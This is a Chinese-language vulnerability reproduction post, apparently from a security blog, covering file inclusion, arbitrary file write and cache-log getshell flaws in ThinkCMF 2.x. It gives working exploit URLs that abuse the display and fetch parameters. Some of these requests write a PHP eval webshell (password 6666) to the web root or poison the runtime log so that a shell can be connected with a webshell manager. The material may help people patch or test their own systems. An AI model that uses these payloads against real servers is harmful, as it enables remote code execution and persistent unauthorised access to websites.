漏洞简介

ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,从而能够达到远程代码执行

影响范围
1.6.0 < ThinkCMFX < 2.3.0

漏洞复现
1.通过构造a参数的display方法,实现任意内容包含
访问页面

http://192.168.2.130/cmfx-X2.2.2/?a=display&templateFile=README.md

13645-i5rbwsmetoe.png

06802-it1hphp5svs.png

包含文件夹下test.php文件 test.php文件为 phpinfo

05596-ewjy9h22mdl.png

2.通过构造a参数的fetch方法,实现任意文件写入

http://192.168.2.130/cmfx-X2.2.2/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('phpinfo.php','<?php phpinfo(); ?>')</php>

06542-pdzsp1egi0p.png

ThinkCMF缓存Getshell

由于thinkcmf2.x使用了thinkphp3.x作为开发框架,默认情况下启用了报错日志并且开启了模板缓存,导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中,再次包含该日志文件即可在网站根目录下生成一句话木马m.php

26790-686uroodybm.png

两种方式getshell
第一种

http://target.domain/?a=display&templateFile=<?php file_put_contents('shell.php','<?php+eval($_POST["6666"]);?>');die();?>

请求

http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log

然后会在根目录下生成shell.php 密码是6666

40747-j7hwumxiw7.png

97262-2u7l1mfp14s.png

76741-rauzh6ujfj.png

92292-s5sdcn5fea.png

第二种

http://target.domain/?a=display&templateFile=<?php eval($_POST["6666"]);?>

然后一句话管理工具连接

http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log

41232-p66n0a2zhlp.png

87982-4e8cdqhd32x.png

21591-aft23hpp9uw.png


本文由 wulaoban 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论